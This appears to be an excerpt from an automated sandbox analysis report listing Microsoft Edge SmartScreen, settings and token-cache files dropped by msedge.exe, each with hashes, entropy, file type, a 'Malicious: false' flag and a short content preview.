Preview:	........\| .*..\|.....\|. ...\|aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.006482594113692
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclVqSEm:YWLSGTt1o9LuLgfGBPAzkVj/T8lUm
MD5:	8F6FCCE0B307EC3DA342CEC41E1D41E1
SHA1:	DBA57B34951A948511B2714B9B33FB04D67ECC45
SHA-256:	F7D3DFA23AF0E2C0FFD02A298C179A6EA3F93078AA453655D4E031C9552B0849
SHA-512:	DD62A26B898E602F3922212F28F630DD9C39751FDE3027C492D5A0B4A0D5CC4AD5BC29455D0CDBDA8ECD3C0CF2DEF70591EFB4320ED7C776CC9231B552D647AE
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1730321974120457}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a2ae9e2d-0d25-4ba9-ada4-14cc83b9e4d2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44914
Entropy (8bit):	6.094816574861356
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWr0i1zNt1YmijNORFzDDJ0KJDSgzMMd6qD47u3+CiB:+/Ps+wsI7ynKijzKtSmd6qE7lFoC
MD5:	A32B1BAF55B2AB4FA3EC0FC517F70648
SHA1:	D4162FA364C22DABADE54924D6A14C160C6F05A1
SHA-256:	A27404EE4D02745177A4D07E6E8790F3E312141F819351D35DA908067D7358FD
SHA-512:	51290495570175094CAFEED2C1485E9CB1E1D40A2A44E26184F2F0029E7BFA5505F34FA84C62CC820BA103932CE813C386B4E3FBDBDD62F5C7D65132A0E6E7A6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a55d464f-ffa0-4f55-b91a-417fef7dd016.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46582
Entropy (8bit):	6.0857397048743955
Encrypted:	false
SSDEEP:	768:3MkbJrT8IeQcrQgZKOuPi1zNt1Ymimzj0F5aOTkhy1DhuCioLJDSgzMMd6qD47ua:3Mk1rT8H5Ksii014FoLtSmd6qE7D
MD5:	1C15C16BBB1DD774C954D8EEA96CF2CB
SHA1:	6A5DD8A52B7FF17A30B62B8A21D48FAC8CB9178A
SHA-256:	472D59A37E79AEB165A2E1310A41290D15A9F391547CC30F36A1E6E2CD18A184
SHA-512:	B338A0BB0F64414FC08389C3C0207CF6AF0FBB85D7376467BD15D79CEA901B7C4638868A0B8A5DCA435B01667CD6C7E9215B53C30B31EBC876459ED0D9EC0F5A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13374694770833958","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"bbee9eda-af37-4c84-a17a-fce1a3027b7b"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730221174"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d94009ae-9bd4-4483-91e8-75dc396686b1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46505
Entropy (8bit):	6.085807147609037
Encrypted:	false
SSDEEP:	768:3MkbJrT8IeQcrQgxKOuPi1zNt1Ymij9zj0F5aOTkhy1DhuCioLJDSgzMMd6qD47D:3Mk1rT8HRKsijd014FoLtSmd6qE7D
MD5:	B61E02B71E8C0E3CDF3C2827DB9DAA27
SHA1:	5B5B0F42C14EF9E023F232AADA58D326682BA70D
SHA-256:	CFDFBA4170AEF4940EFA5CDD05E8F236C239B068B6443EB8FA1FFAFB6AAFD3F8
SHA-512:	376176BD721FF986F86ABB25AAB74583F0AD84DC3F1BE55A6907CB885B85B1A6D3BC3AC4B4F5E6A2C5C029689E1AE4717A84349227D96B52665945CD7607618C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13374694770833958","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"bbee9eda-af37-4c84-a17a-fce1a3027b7b"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730221174"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\db606344-79c8-483f-910d-1574fa635471.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46582
Entropy (8bit):	6.085742096687852
Encrypted:	false
SSDEEP:	768:3MkbJrT8IeQcrQgZ9OuPi1zNt1Ymimzj0F5aOTkhy1DhuCioLJDSgzMMd6qD47ua:3Mk1rT8H59sii014FoLtSmd6qE7D
MD5:	845CF0AEEFB9A0E66A02F4AC2B9654D4
SHA1:	94CEECE59D21AF950BEF979D4AF61978C34896F4
SHA-256:	5E631B62B38FDB95382E20647F8E70CAEC04C60C436C4EB1F216FF87B269B7BC
SHA-512:	DEC6C289674771CB91378BFA2F6C3C1FD1A061E3234105B862A89F05D23C63D4DC16F560A0B528B0555396BD90051C1F81ABED60052BBF3D6FA51768B7478E38
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13374694770833958","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"bbee9eda-af37-4c84-a17a-fce1a3027b7b"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730221174"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.837269570943938
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxXxl9Il8uBIoUE2vHhmDimUmd1rc:meYnf92vH4TUd
MD5:	751A312229017A462ACA75048E9351F2
SHA1:	42F9F54F384E4EA51F9FFFA4C65ABF5B9E5089A8
SHA-256:	76BA58243B2776DE270014B0A291103D53C501AB33D5A9BCF0B0A86EE74A0059
SHA-512:	630FA72A079C3F1FE289F3A1C27604480318255CAEE72F841D26B95B3132BEC8584CEBBDEA273B65A64CB1DE01CD5F2B8FC2FDD5EE166B9ADF7662BE44A9B906
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.L.A.B.T.y.w.q.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.x.I.d.r.A.O.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.0061392288312705
Encrypted:	false
SSDEEP:	48:uiTrlKxExPxD9Il8uMclSGYD8WrNw3wm14/bmQXj8sI5/sZGnzBXbXaW/cBEQ3k6:BYqUllWZw3w6h0cEZCrXzk5LCyCaa6
MD5:	311163B658348B817149B91777E67DFA
SHA1:	628843BA7793D88DBF90B7FBA988463C332E8BFD
SHA-256:	F6E9B6AEF531C8654EB7CC16BC86E80712DA6188F0E2EC4FC47BE39E3961CC64
SHA-512:	A8385CAE9E26D22B7B96566057EEBE133F5937B1F99DA133A043A87A27A9AB8D98C92E73C27AAE6F8C8A1FD93F33E68F394726F5D040CE38FD273098148BEF5B
Malicious:	false
